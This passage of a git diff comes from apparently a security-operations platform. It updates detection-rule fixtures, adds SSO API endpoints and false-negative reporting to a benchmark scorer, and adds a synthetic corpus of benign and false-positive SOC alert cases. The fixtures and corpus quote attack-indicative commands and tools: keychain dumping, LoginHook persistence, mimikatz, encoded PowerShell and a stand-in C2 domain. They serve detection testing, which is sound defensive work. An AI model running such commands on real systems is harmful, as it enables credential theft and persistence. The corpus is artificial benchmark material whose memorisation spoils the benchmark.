"not-osquery_query_row",+ "event_type": "http_request","query_name": "prefix-Keyboard_Event_Tap-suffix"}diff --git a/detections/fixtures/negative/osquery-macos-keychain-dump.json b/detections/fixtures/negative/osquery-macos-keychain-dump.jsonindex 58bb4c33f..f114f5309 100644--- a/detections/fixtures/negative/osquery-macos-keychain-dump.json+++ b/detections/fixtures/negative/osquery-macos-keychain-dump.json@@ -1,4 +1,4 @@{"cmdline": "prefix-dump-keychain -d-suffix",- "event_type": "not-osquery_query_row"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/osquery-macos-log-removal.json b/detections/fixtures/negative/osquery-macos-log-removal.jsonindex 468f72cfe..678df8c20 100644--- a/detections/fixtures/negative/osquery-macos-log-removal.json+++ b/detections/fixtures/negative/osquery-macos-log-removal.json@@ -1,4 +1,4 @@{"cmdline": "system.logrm ",- "event_type": "not-osquery_query_row"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/osquery-macos-loginhook-persistence.json b/detections/fixtures/negative/osquery-macos-loginhook-persistence.jsonindex c4f3f05f2..b6e76ed94 100644--- a/detections/fixtures/negative/osquery-macos-loginhook-persistence.json+++ b/detections/fixtures/negative/osquery-macos-loginhook-persistence.json@@ -1,4 +1,4 @@{"cmdline": "defaults write loginwindow LoginHook",- "event_type": "not-osquery_query_row"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/osquery-macos-lolbin-execution.json b/detections/fixtures/negative/osquery-macos-lolbin-execution.jsonindex ea7d645f7..e31466069 100644--- a/detections/fixtures/negative/osquery-macos-lolbin-execution.json+++ b/detections/fixtures/negative/osquery-macos-lolbin-execution.json@@ -1,4 +1,4 @@{"cmdline": "funzip -tail",- "event_type": "not-osquery_query_row"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/osquery-macos-network-share-discovery.json b/detections/fixtures/negative/osquery-macos-network-share-discovery.jsonindex 2eb58419c..b73462c59 100644--- a/detections/fixtures/negative/osquery-macos-network-share-discovery.json+++ b/detections/fixtures/negative/osquery-macos-network-share-discovery.json@@ -1,4 +1,4 @@{- "event_type": "not-osquery_query_row",+ "event_type": "http_request","name": "showmount"}diff --git a/detections/fixtures/negative/osquery-macos-plutil-plist-modification.json b/detections/fixtures/negative/osquery-macos-plutil-plist-modification.jsonindex 36df7153d..828eebdbf 100644--- a/detections/fixtures/negative/osquery-macos-plutil-plist-modification.json+++ b/detections/fixtures/negative/osquery-macos-plutil-plist-modification.json@@ -1,4 +1,4 @@{- "event_type": "not-osquery_query_row",+ "event_type": "http_request","path": "/usr/bin/plutil"}diff --git a/detections/fixtures/negative/osquery-macos-suspicious-plistbuddy.json b/detections/fixtures/negative/osquery-macos-suspicious-plistbuddy.jsonindex 63e0fa61f..30b9f853b 100644--- a/detections/fixtures/negative/osquery-macos-suspicious-plistbuddy.json+++ b/detections/fixtures/negative/osquery-macos-suspicious-plistbuddy.json@@ -1,4 +1,4 @@{"cmdline": "PlistBuddyLaunchAgents",- "event_type": "not-osquery_query_row"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/win-defender-exclusion-added.json b/detections/fixtures/negative/win-defender-exclusion-added.jsonindex bb8b3b946..a0c55ebe1 100644--- a/detections/fixtures/negative/win-defender-exclusion-added.json+++ b/detections/fixtures/negative/win-defender-exclusion-added.json@@ -1,4 +1,4 @@{- "event_name": "not-AddPreference",+ "event_name": "AttachUserPolicy","exclusion_path": "prefix-\\users\\-suffix"}diff --git a/detections/fixtures/positive/azure-login-anonymous-ip.json b/detections/fixtures/positive/azure-login-anonymous-ip.jsonindex d3da9d216..e59f84d7e 100644--- a/detections/fixtures/positive/azure-login-anonymous-ip.json+++ b/detections/fixtures/positive/azure-login-anonymous-ip.json@@ -1,5 +1,5 @@{"risk_event_type": "anonymizedIPAddress",- "src_ip": "185.220.101.5",+ "src_ip": "198.51.100.5","user": "[email protected]"}diff --git a/detections/fixtures/positive/tor-traffic.json b/detections/fixtures/positive/tor-traffic.jsonindex 3031b67cc..132257fd2 100644--- a/detections/fixtures/positive/tor-traffic.json+++ b/detections/fixtures/positive/tor-traffic.json@@ -1,5 +1,5 @@{- "dst_ip": "185.220.101.5",+ "dst_ip": "198.51.100.5","dst_ip_in_tor_list": true,"src_host": "wks-001"}diff --git a/docs/openapi.yaml b/docs/openapi.yamlindex deff8ecbb..d47684709 100644--- a/docs/openapi.yaml+++ b/docs/openapi.yaml@@ -10101,6 +10101,126 @@ paths:application/json:schema:$ref: '#/components/schemas/HTTPValidationError'+ /api/v1/sso-connections:+ get:+ tags:+ - sso+ summary: List Sso Connections+ description: Every SSO connection this tenant has configured.+ operationId: list_sso_connections_api_v1_sso_connections_get+ responses:+ '200':+ description: Successful Response+ content:+ application/json:+ schema:+ items:+ $ref: '#/components/schemas/SsoConnectionOut'+ type: array+ title: Response List Sso Connections Api V1 Sso Connections Get+ security:+ - HTTPBearer: []+ post:+ tags:+ - sso+ summary: Create Sso Connection+ description: 'Configure an identity provider for this tenant.+++ Until one of these exists, every SAML and OIDC sign-in answers 403 —++ `resolve_connection` finds no row and refuses rather than guessing a++ tenant from the assertion.'+ operationId: create_sso_connection_api_v1_sso_connections_post+ requestBody:+ content:+ application/json:+ schema:+ $ref: '#/components/schemas/SsoConnectionIn'+ required: true+ responses:+ '201':+ description: Successful Response+ content:+ application/json:+ schema:+ $ref: '#/components/schemas/SsoConnectionOut'+ '422':+ description: Validation Error+ content:+ application/json:+ schema:+ $ref: '#/components/schemas/HTTPValidationError'+ security:+ - HTTPBearer: []+ /api/v1/sso-connections/{connection_id}:+ patch:+ tags:+ - sso+ summary: Update Sso Connection+ description: 'Replace a connection''s configuration.+++ The tenant is not settable: moving a connection between tenants would++ silently re-home every user who signs in through it.'+ operationId: update_sso_connection_api_v1_sso_connections__connection_id__patch+ security:+ - HTTPBearer: []+ parameters:+ - name: connection_id+ in: path+ required: true+ schema:+ type: string+ format: uuid+ title: Connection Id+ requestBody:+ required: true+ content:+ application/json:+ schema:+ $ref: '#/components/schemas/SsoConnectionIn'+ responses:+ '200':+ description: Successful Response+ content:+ application/json:+ schema:+ $ref: '#/components/schemas/SsoConnectionOut'+ '422':+ description: Validation Error+ content:+ application/json:+ schema:+ $ref: '#/components/schemas/HTTPValidationError'+ delete:+ tags:+ - sso+ summary: Delete Sso Connection+ description: Remove a connection. Sign-ins through that issuer start answering+ 403 again.+ operationId: delete_sso_connection_api_v1_sso_connections__connection_id__delete+ security:+ - HTTPBearer: []+ parameters:+ - name: connection_id+ in: path+ required: true+ schema:+ type: string+ format: uuid+ title: Connection Id+ responses:+ '204':+ description: Successful Response+ '422':+ description: Validation Error+ content:+ application/json:+ schema:+ $ref: '#/components/schemas/HTTPValidationError'/api/v1/assets:get:tags:@@ -21798,6 +21918,20 @@ components:format: uuid- type: 'null'title: Base Rule Id+ positive_fixtures:+ items:+ additionalProperties: true+ type: object+ type: array+ maxItems: 200+ title: Positive Fixtures+ negative_fixtures:+ items:+ additionalProperties: true+ type: object+ type: array+ maxItems: 200+ title: Negative Fixturestype: objectrequired:- name@@ -22879,10 +23013,11 @@ components:type: objecttype: arraymaxItems: 200- minItems: 1title: Positive Fixtures- description: Events the rule MUST fire on (the attacks it claims to catch).- At least one required.+ description: 'Events the rule MUST fire on. Optional: when omitted, the+ fixtures the proposal was created with are replayed instead. The handler+ refuses if neither source yields a positive, because a rule that cannot+ be shown to catch anything must not be approved.'negative_fixtures:items:additionalProperties: true@@ -22892,8 +23027,6 @@ components:title: Negative Fixturesdescription: Benign near-miss events the rule MUST NOT fire on.type: object- required:- - positive_fixturestitle: EvaluateRuleRequestdescription: 'Evaluate the candidate rule body against its own fixtures (Phase4).@@ -25528,7 +25661,17 @@ components:value:type: numbertitle: Value- description: Headline metric for the current window.+ description: 'Headline metric for the current window. Read it with `sample_count`:+ a mean over zero rows is reported as 0.0 and is *not* a measurement. The+ mean is not nullable because that is a breaking response change for every+ existing client, which is the same decision `/metrics/soc` took with `mttd_sample_count`.'+ sample_count:+ anyOf:+ - type: integer+ - type: 'null'+ title: Sample Count+ description: Rows behind `value`. A mean over three and over three thousand+ differ.unit:type: stringtitle: Unit@@ -28828,6 +28971,18 @@ components:title: PromotionResponseProposalResponse:properties:+ positive_fixtures:+ items:+ additionalProperties: true+ type: object+ type: array+ title: Positive Fixtures+ negative_fixtures:+ items:+ additionalProperties: true+ type: object+ type: array+ title: Negative Fixturesid:type: stringformat: uuid@@ -31983,6 +32138,114 @@ components:- dispositiontitle: SourceWritebackRequestdescription: What the caller believes about the alert.+ SsoConnectionIn:+ properties:+ provider:+ type: string+ title: Provider+ issuer:+ type: string+ maxLength: 512+ minLength: 1+ title: Issuer+ display_name:+ anyOf:+ - type: string+ maxLength: 200+ - type: 'null'+ title: Display Name+ enabled:+ type: boolean+ title: Enabled+ default: false+ group_role_mapping:+ additionalProperties:+ type: string+ type: object+ title: Group Role Mapping+ default_role:+ type: string+ title: Default Role+ default: viewer+ metadata_url:+ anyOf:+ - type: string+ maxLength: 1024+ - type: 'null'+ title: Metadata Url+ metadata_xml:+ anyOf:+ - type: string+ - type: 'null'+ title: Metadata Xml+ type: object+ required:+ - provider+ - issuer+ title: SsoConnectionIn+ SsoConnectionOut:+ properties:+ id:+ type: string+ title: Id+ tenant_id:+ type: string+ title: Tenant Id+ provider:+ type: string+ title: Provider+ issuer:+ type: string+ title: Issuer+ display_name:+ anyOf:+ - type: string+ - type: 'null'+ title: Display Name+ enabled:+ type: boolean+ title: Enabled+ group_role_mapping:+ additionalProperties:+ type: string+ type: object+ title: Group Role Mapping+ default_role:+ type: string+ title: Default Role+ metadata_url:+ anyOf:+ - type: string+ - type: 'null'+ title: Metadata Url+ has_metadata_xml:+ type: boolean+ title: Has Metadata Xml+ created_at:+ anyOf:+ - type: string+ - type: 'null'+ title: Created At+ updated_at:+ anyOf:+ - type: string+ - type: 'null'+ title: Updated At+ type: object+ required:+ - id+ - tenant_id+ - provider+ - issuer+ - display_name+ - enabled+ - group_role_mapping+ - default_role+ - metadata_url+ - has_metadata_xml+ - created_at+ - updated_at+ title: SsoConnectionOutStartReplayRequest:properties:connector_id:diff --git a/examples/alerts/lateral-movement.json b/examples/alerts/lateral-movement.jsonindex f90acc68f..75393d1c2 100644--- a/examples/alerts/lateral-movement.json+++ b/examples/alerts/lateral-movement.json@@ -52,7 +52,7 @@"displayName": "Alice Carter"},"client": {- "ipAddress": "185.220.101.7",+ "ipAddress": "198.51.100.7","userAgent": {"rawUserAgent": "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/126.0","os": "Linux",diff --git a/marketplace/index.json b/marketplace/index.jsonindex 1f5a048eb..04d78d188 100644--- a/marketplace/index.json+++ b/marketplace/index.json@@ -1,7 +1,7 @@{"$schema": "https://example.com/schemas/marketplace/v1.json","version": "1.0.0",- "generated": "2026-10-02T04:17:51Z",+ "generated": "2026-10-03T15:14:21Z","categories": [{"id": "playbooks",diff --git a/packages/aisoc-benchmark/aisoc_benchmark/replay.py b/packages/aisoc-benchmark/aisoc_benchmark/replay.pyindex 2bd97c9f1..d5b790edc 100644--- a/packages/aisoc-benchmark/aisoc_benchmark/replay.py+++ b/packages/aisoc-benchmark/aisoc_benchmark/replay.py@@ -178,6 +178,16 @@ class ReplayScore:malicious_recall: float | None = Nonemalicious_recall_ci: tuple[float, float] | None = Nonemalicious_precision: float | None = None+ #: Malicious cases the agent did not call malicious, as a count and a+ #: rate. Derivable from the confusion matrix and from `1 - recall`,+ #: and published as its own field anyway: a false negative is a+ #: missed attack, and a reader should not have to compute the number+ #: that matters most from the one that reads best.+ false_negatives: int = 0+ false_negative_rate: float | None = None+ #: What the agent said instead, counted. "It abstained on 40" and+ #: "it called 40 benign" are different failures with different fixes.+ false_negative_verdicts: dict[str, int] = field(default_factory=dict)# ---- headline, withheld on a thin corpus -----------------------------headline_accuracy: float | None = None@@ -437,6 +447,18 @@ def score_replay(seed=bootstrap_seed,)+ # False negatives, named. Every one is an attack the agent let+ # through, which is the outcome an operator is actually buying+ # against, and `1 - recall` is a worse way to say it.+ missed = [d for d in malicious_rows if d.get("verdict") != MALICIOUS]+ score.false_negatives = len(missed)+ score.false_negative_rate = _ratio(len(missed), len(malicious_rows))+ verdicts: dict[str, int] = {}+ for d in missed:+ key = str(d.get("verdict") or "") or "(empty)"+ verdicts[key] = verdicts.get(key, 0) + 1+ score.false_negative_verdicts = dict(sorted(verdicts.items()))+# ---- calibration ------------------------------------------------------score.calibration, score.expected_calibration_error = _calibration(answered)diff --git a/packages/aisoc-benchmark/build_corpus.py b/packages/aisoc-benchmark/build_corpus.pyindex e5d675f5f..0ee8fcde2 100644--- a/packages/aisoc-benchmark/build_corpus.py+++ b/packages/aisoc-benchmark/build_corpus.py@@ -16,8 +16,14 @@ Run: python3 packages/aisoc-benchmark/build_corpus.pyfrom __future__ import annotationsimport json+import sysfrom pathlib import Path+sys.path.insert(0, str(Path(__file__).resolve().parent))++from aisoc_benchmark import replay # noqa: E402+from corpus.benign_cases import benign_corpus_records # noqa: E402+REPO_ROOT = Path(__file__).resolve().parent.parent.parentEVAL_DATA = REPO_ROOT / "services" / "agents" / "tests" / "eval_data"OUT = Path(__file__).resolve().parent / "corpus" / "soc-agent-benchmark-v1.json"@@ -39,19 +45,32 @@ RESPONSE_CLASS_ACTIONS: dict[str, list[str]] = {def _disposition(record: dict) -> str:- """Derive the expected disposition from severity and response class.-- The harness corpus does not carry one directly. Monitoring-only incidents- are the benign tail; everything with a containment response is malicious.- Stated here rather than inferred at scoring time so the mapping is- reviewable.+ """Every harness incident is a real attack, so every one is a true positive.++ This used to derive three classes from ``response_class``, and both+ the mapping and the vocabulary were wrong.++ **The vocabulary** was ``malicious | suspicious | benign`` while+ `aisoc_benchmark.replay` grades+ ``true_positive | benign_true_positive | false_positive | benign`` —+ one label of four in common, so the corpus was ungradeable by this+ package's own scorer and nothing noticed.++ **The mapping** was worse. ``response_class == "monitor"`` became+ ``benign``, and those eight incidents are BloodHound domain+ enumeration tagged T1087.002 at medium severity. That is a real+ attack with a monitoring response. Calling it benign conflates+ "low-severity threat" with "not a threat", which is the distinction+ a triage agent exists to make — so the corpus claimed a benign class+ it did not have, and an agent answering "true positive" to+ everything would still have scored 100%.++ `response_class` says which action to take. It says nothing about+ whether the finding was true, and nothing in the harness corpus+ does. The benign and false-positive cases are authored separately in+ ``corpus/benign_cases.py``."""- response = str(record.get("response_class", ""))- if response in ("monitor", ""):- return "benign"- if response == "escalate":- return "suspicious"- return "malicious"+ return replay.MALICIOUSdef build() -> dict:@@ -87,6 +106,11 @@ def build() -> dict:})+ # The authored benign and false-positive cases. Without them the+ # corpus has one class and `score_replay_set.assert_gradeable`+ # correctly refuses it.+ incidents.extend(benign_corpus_records())+return {"corpus_id": "soc-agent-benchmark-v1","version": 1,diff --git a/packages/aisoc-benchmark/corpus/__init__.py b/packages/aisoc-benchmark/corpus/__init__.pynew file mode 100644index 000000000..e69de29bbdiff --git a/packages/aisoc-benchmark/corpus/benign_cases.py b/packages/aisoc-benchmark/corpus/benign_cases.pynew file mode 100644index 000000000..9fcb46631--- /dev/null+++ b/packages/aisoc-benchmark/corpus/benign_cases.py@@ -0,0 +1,615 @@+"""A benign corpus that actually looks like a SOC queue.++Gap-closure wave 2.++Why this file exists+--------------------+Every labelled corpus in this repository was malicious by construction,+so no verdict accuracy could be measured from any of them — an agent+answering "true positive" to everything scores 100%. The benchmark+corpus appeared to have a benign class and did not: `build_corpus.py`+derived one from ``response_class == "monitor"``, and those eight+incidents are BloodHound domain enumeration tagged **T1087.002** at+medium severity. That is a real attack with a monitoring response, not a+benign event. Labelling it benign conflated "low-severity threat" with+"not a threat", which is the single most important distinction a triage+agent makes.++What makes a benign corpus useful+------------------------------------+**The cases must look like attacks.** A benign corpus of obviously+boring events measures formatting, not judgement: any agent can tell a+successful DNS lookup from ransomware. Every case here is something that+*fires a real detection rule* and is nonetheless the right answer to+close. PsExec at 02:00 during a change window. Encoded PowerShell in a+deployment script. Nmap from the scanner subnet. Bulk file reads by the+backup agent.++**The telemetry must have the same shape.** These carry the same fields,+the same sources and the same severity distribution as the malicious+set, so a model cannot separate the classes on format. Where the+distinguishing evidence exists it is *in the content* — a change ticket+reference, a known service account, a scanner's own subnet — which is+exactly what an analyst reads.++Two classes, and the difference matters+------------------------------------------+``benign`` — the activity happened and was authorised. The detection was+right to fire; the answer is "this was us".++``false_positive`` — the activity did not happen as the alert+characterises it. The rule matched something it should not have.++They are different operationally: a stream of ``benign`` means tuning an+allowlist, a stream of ``false_positive`` means fixing a rule. Collapsing+them, as a single "not malicious" label would, loses the action.++Addresses and names+-------------------+RFC 5737 documentation ranges and RFC 2606 domains throughout, asserted+by test. A corpus that shipped a routable address would eventually have+somebody scan it.+"""++from __future__ import annotations++from typing import Any++__all__ = ["BENIGN_CASES", "benign_corpus_records"]++#: Verbatim the canonical vocabulary from `aisoc_benchmark.replay`, which+#: mirrors `services/actions`. The benchmark corpus previously used+#: `malicious | suspicious | benign`, which shares exactly one label with+#: it — so the corpus was ungradeable by the repository's own scorer and+#: nobody had noticed.+BENIGN = "benign"+FALSE_POSITIVE = "false_positive"+++def _case(+ *,+ case_id: str,+ title: str,+ description: str,+ severity: str,+ disposition: str,+ techniques: list[str],+ telemetry: list[dict[str, Any]],+ why: str,+) -> dict[str, Any]:+ """One labelled case.++ `why` is the analyst's reasoning, carried so a human reviewing a+ disagreement can see what the right answer rested on rather than+ having to re-derive it. It is deliberately **not** given to the+ agent: a corpus that hands over the answer measures reading+ comprehension.+ """+ return {+ "id": case_id,+ "provenance": "synthetic",+ "title": title,+ "description": description,+ "severity": severity,+ "expected_disposition": disposition,+ "expected_techniques": techniques,+ "expected_actions": [],+ "raw_alert": {"title": title, "severity": severity},+ "telemetry": telemetry,+ "analyst_rationale": why,+ }+++BENIGN_CASES: list[dict[str, Any]] = [+ # ── Administrative activity that trips containment rules ───────────────+ _case(+ case_id="INC-BENIGN-001",+ title="PsExec service installed on WIN-DB-07",+ description=(+ "psexesvc.exe installed and started on WIN-DB-07 by [email protected] at 02:14 local. Source host WIN-MGMT-01."+ ),+ severity="high",+ disposition=BENIGN,+ techniques=["T1569.002"],+ telemetry=[+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-DB-07",+ "Image": "C:\\Windows\\PSEXESVC.exe",+ "User": "EXAMPLE\\svc-patching",+ "ParentImage": "C:\\Windows\\System32\\services.exe",+ "UtcTime": "2026-03-04T02:14:11Z",+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041288",+ "window_start": "2026-03-04T02:00:00Z",+ "window_end": "2026-03-04T04:00:00Z",+ "approver": "[email protected]",+ "summary": "Quarterly database patch rollout, wave 3",+ },+ ],+ why=(+ "Lateral-movement tooling used by the patching service account inside an "+ "approved change window, from the management jump host it always uses."+ ),+ ),+ _case(+ case_id="INC-BENIGN-002",+ title="Encoded PowerShell from build agent LIN-CI-04",+ description=("powershell.exe -EncodedCommand observed on WIN-BUILD-02, parent process the Jenkins agent service."),+ severity="high",+ disposition=BENIGN,+ techniques=["T1059.001", "T1027"],+ telemetry=[+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-BUILD-02",+ "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",+ "CommandLine": "powershell.exe -NoProfile -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQA",+ "ParentImage": "C:\\Program Files\\Jenkins\\jenkins-agent.exe",+ "User": "EXAMPLE\\svc-jenkins",+ },+ {+ "source": "vcs",+ "repository": "example/platform-deploy",+ "file": "scripts/deploy.ps1",+ "note": "Encoding is how the pipeline passes a multi-line script through the agent.",+ },+ ],+ why=(+ "Base64-encoded PowerShell is how this build pipeline has always invoked its "+ "deployment script; the parent process is the CI agent and the command decodes "+ "to a committed, reviewed script."+ ),+ ),+ _case(+ case_id="INC-BENIGN-003",+ title="Port scan across 10.0.0.0/8 from 198.51.100.40",+ description="Sequential TCP connections to 1,024 ports across 2,300 hosts in eleven minutes.",+ severity="medium",+ disposition=BENIGN,+ techniques=["T1046"],+ telemetry=[+ {+ "source": "netflow",+ "src_ip": "198.51.100.40",+ "distinct_dst": 2300,+ "distinct_ports": 1024,+ "duration_seconds": 660,+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.40",+ "hostname": "vulnscan-prod-01.example.com",+ "owner": "[email protected]",+ "role": "authenticated vulnerability scanner",+ "scan_schedule": "weekly, Sundays 01:00-05:00 UTC",+ },+ ],+ why="The organisation's own vulnerability scanner, on its published schedule, from its registered address.",+ ),+ _case(+ case_id="INC-BENIGN-004",+ title="Mass file read by backup agent on FS-CORP-02",+ description="48,000 file reads in 20 minutes by a single process on the corporate file server.",+ severity="high",+ disposition=BENIGN,+ techniques=["T1005", "T1074.001"],+ telemetry=[+ {+ "source": "sysmon",+ "EventID": 11,+ "Computer": "FS-CORP-02",+ "Image": "C:\\Program Files\\Veeam\\Backup\\VeeamAgent.exe",+ "User": "EXAMPLE\\svc-backup",+ "files_touched": 48000,+ "window_minutes": 20,+ },+ {+ "source": "edr",+ "process_signed": True,+ "signer": "Veeam Software Group GmbH",+ "network_destinations": ["198.51.100.70"],+ },+ ],+ why=(+ "Signed backup agent reading the share it is configured to back up, writing only "+ "to the backup target. No archive creation, no outbound transfer."+ ),+ ),+ _case(+ case_id="INC-BENIGN-005",+ title="LDAP enumeration from LIN-IAM-SYNC01",+ description="12,400 LDAP queries enumerating users, groups and group membership in six minutes.",+ severity="medium",+ disposition=BENIGN,+ techniques=["T1087.002", "T1069.002"],+ telemetry=[+ {+ "source": "windows_event",+ "EventID": 4662,+ "Computer": "DC01.example.com",+ "SubjectUserName": "svc-scim-sync",+ "query_count": 12400,+ "window_minutes": 6,+ },+ {+ "source": "asset_inventory",+ "hostname": "LIN-IAM-SYNC01",+ "role": "SCIM provisioning connector",+ "runs_every": "15 minutes",+ },+ ],+ why=(+ "The SCIM connector reading the directory it exists to read, on its normal cadence. "+ "Enumeration volume is identical to the previous 96 runs."+ ),+ ),+ _case(+ case_id="INC-BENIGN-006",+ title="Impossible travel for [email protected]",+ description="Sign-in from London then Singapore 40 minutes apart.",+ severity="high",+ disposition=BENIGN,+ techniques=["T1078.004"],+ telemetry=[+ {+ "source": "okta",+ "eventType": "user.session.start",+ "actor": "[email protected]",+ "client_ip": "198.51.100.12",+ "geo": "London, GB",+ "ts": "2026-03-04T08:02:00Z",+ },+ {+ "source": "okta",+ "eventType": "user.session.start",+ "actor": "[email protected]",+ "client_ip": "203.0.113.88",+ "geo": "Singapore, SG",+ "ts": "2026-03-04T08:42:00Z",+ },+ {+ "source": "network",+ "ip": "203.0.113.88",+ "note": "Corporate egress gateway, APAC region. Traffic egresses here when the VPN reconnects.",+ },+ ],+ why=(+ "The second address is the organisation's own APAC egress gateway, not a second "+ "location. Both sessions carry the same device id and a satisfied MFA claim."+ ),+ ),+ _case(+ case_id="INC-BENIGN-007",+ title="New privileged account created: svc-terraform-runner",+ description="Account created and added to Domain Admins outside business hours.",+ severity="critical",+ disposition=BENIGN,+ techniques=["T1136.002", "T1098"],+ telemetry=[+ {+ "source": "windows_event",+ "EventID": 4720,+ "Computer": "DC01.example.com",+ "TargetUserName": "svc-terraform-runner",+ "SubjectUserName": "svc-provisioning",+ "ts": "2026-03-04T23:40:00Z",+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041301",+ "approver": "[email protected]",+ "summary": "Provision infrastructure-automation service account, approved at CAB 2026-02-27",+ },+ ],+ why="Approved service-account provisioning, executed by the provisioning pipeline against an open change.",+ ),+ _case(+ case_id="INC-BENIGN-008",+ title="Bulk outbound email from 198.51.100.55",+ description="22,000 messages to external recipients in one hour.",+ severity="medium",+ disposition=BENIGN,+ techniques=["T1114.003"],+ telemetry=[+ {+ "source": "m365_audit",+ "Operation": "Send",+ "sender": "[email protected]",+ "message_count": 22000,+ "window_minutes": 60,+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.55",+ "hostname": "mkt-sendgrid-relay.example.com",+ "role": "marketing email relay",+ },+ ],+ why="The marketing relay sending a scheduled campaign from its own mailbox and address.",+ ),+ _case(+ case_id="INC-BENIGN-009",+ title="Credential dumping tool executed on WIN-SEC-LAB01",+ description="mimikatz.exe executed by [email protected].",+ severity="critical",+ disposition=BENIGN,+ techniques=["T1003.001"],+ telemetry=[+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-SEC-LAB01",+ "Image": "C:\\Tools\\mimikatz.exe",+ "User": "EXAMPLE\\t.nakamura",+ },+ {+ "source": "asset_inventory",+ "hostname": "WIN-SEC-LAB01",+ "role": "detection-engineering lab, isolated VLAN, no domain trust",+ "owner": "[email protected]",+ },+ ],+ why=(+ "Detection engineering exercising a rule on the isolated lab host built for it. The "+ "host has no domain trust, so there are no credentials present to dump."+ ),+ ),+ _case(+ case_id="INC-BENIGN-010",+ title="Scheduled task created on 140 hosts",+ description="Identical scheduled task written across 140 endpoints within four minutes.",+ severity="high",+ disposition=BENIGN,+ techniques=["T1053.005"],+ telemetry=[+ {+ "source": "windows_event",+ "EventID": 4698,+ "TaskName": "\\Example\\EndpointInventory",+ "host_count": 140,+ "window_minutes": 4,+ "SubjectUserName": "svc-sccm",+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041312",+ "summary": "Roll out endpoint inventory collector to the finance OU",+ },+ ],+ why="SCCM deploying an inventory task to a named OU under an approved change.",+ ),+ # ── Genuine false positives: the activity is not what the alert says ───+ _case(+ case_id="INC-FP-001",+ title="Ransomware file-extension activity on WIN-HR-21",+ description="Rule matched 400 files renamed to a known ransomware extension.",+ severity="critical",+ disposition=FALSE_POSITIVE,+ techniques=["T1486"],+ telemetry=[+ {+ "source": "sysmon",+ "EventID": 11,+ "Computer": "WIN-HR-21",+ "TargetFilename": "D:\\archive\\2019-payroll.7z.locked",+ "Image": "C:\\Program Files\\7-Zip\\7zG.exe",+ "User": "EXAMPLE\\m.alvarez",+ },+ {+ "source": "edr",+ "note": "Files were renamed by an archival script appending '.locked' as its own marker.",+ "entropy_change": "none",+ "ransom_note_found": False,+ },+ ],+ why=(+ "The extension matched the rule's list by coincidence: an in-house archival script "+ "uses '.locked' to mark files pending deletion. No encryption occurred — file "+ "entropy is unchanged and no ransom note exists. The rule needs the extension list "+ "narrowed, not an allowlist entry."+ ),+ ),+ _case(+ case_id="INC-FP-002",+ title="C2 beacon to malware-c2.example.net from WIN-FIN-09",+ description="Periodic outbound HTTPS matching a threat-intel indicator.",+ severity="critical",+ disposition=FALSE_POSITIVE,+ techniques=["T1071.001"],+ telemetry=[+ {+ "source": "proxy",+ "src_host": "WIN-FIN-09",+ "dst_domain": "malware-c2.example.net",+ "interval_seconds": 300,+ "bytes_out": 412,+ },+ {+ "source": "threatintel",+ "indicator": "malware-c2.example.net",+ "note": "Sinkholed by the registrar in 2024; the IOC feed never expired the entry.",+ "first_seen": "2023-11-02",+ "sinkholed": True,+ },+ ],+ why=(+ "The domain is sinkholed and has been since 2024. The beacon is a stale agent "+ "retrying a dead address, not an active channel. The indicator should have aged out "+ "of the feed."+ ),+ ),+ _case(+ case_id="INC-FP-003",+ title="Brute force against svc-monitoring from 198.51.100.90",+ description="620 failed authentications in ten minutes.",+ severity="high",+ disposition=FALSE_POSITIVE,+ techniques=["T1110.001"],+ telemetry=[+ {+ "source": "windows_event",+ "EventID": 4625,+ "TargetUserName": "svc-monitoring",+ "IpAddress": "198.51.100.90",+ "failure_count": 620,+ "Status": "0xC000006A",+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.90",+ "hostname": "nagios-01.example.com",+ "note": "Credential rotated 2026-03-03; the monitoring host kept the old secret in its config.",+ },+ ],+ why=(+ "One host retrying one stale credential after a rotation, not an attacker trying "+ "many. Every attempt carries the same wrong password hash and the same source."+ ),+ ),+ _case(+ case_id="INC-FP-004",+ title="Data exfiltration: 14 GB uploaded from LIN-APP-12",+ description="Large sustained outbound transfer to an external address.",+ severity="high",+ disposition=FALSE_POSITIVE,+ techniques=["T1048"],+ telemetry=[+ {+ "source": "netflow",+ "src_host": "LIN-APP-12",+ "dst_ip": "198.51.100.200",+ "bytes_out": 15032385536,+ "duration_minutes": 46,+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.200",+ "hostname": "artifact-mirror.example.com",+ "note": (+ "Internal artifact mirror. Classified external by the rule because it sits outside the RFC1918 ranges the rule checks."+ ),+ },+ ],+ why=(+ "The destination is an internal mirror on a public-range address the rule's "+ "'external' test does not know about. Direction is a push of build artefacts the "+ "host produces. The rule's definition of external is the defect."+ ),+ ),+ _case(+ case_id="INC-FP-005",+ title="Suspicious parent-child: winword.exe spawning cmd.exe on WIN-LEG-03",+ description="Office application spawned a command shell.",+ severity="high",+ disposition=FALSE_POSITIVE,+ techniques=["T1566.001", "T1059.003"],+ telemetry=[+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-LEG-03",+ "Image": "C:\\Windows\\System32\\cmd.exe",+ "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",+ "CommandLine": 'cmd.exe /c "C:\\Legal\\merge-templates.bat"',+ "User": "EXAMPLE\\r.devlin",+ },+ {+ "source": "vcs",+ "note": "merge-templates.bat is a reviewed document-assembly macro deployed to the legal OU in 2021.",+ },+ ],+ why=(+ "The parent-child pair is genuinely suspicious as a shape, and in this estate it is "+ "a sanctioned legal-department macro. The command line names a known, reviewed batch "+ "file rather than an encoded payload or a download."+ ),+ ),+]+++# ── Template expansion ────────────────────────────────────────────────────+#+# The fifteen cases above are the distinct *shapes*. A real queue carries+# each shape many times over with different hosts, accounts and times,+# and a corpus of fifteen 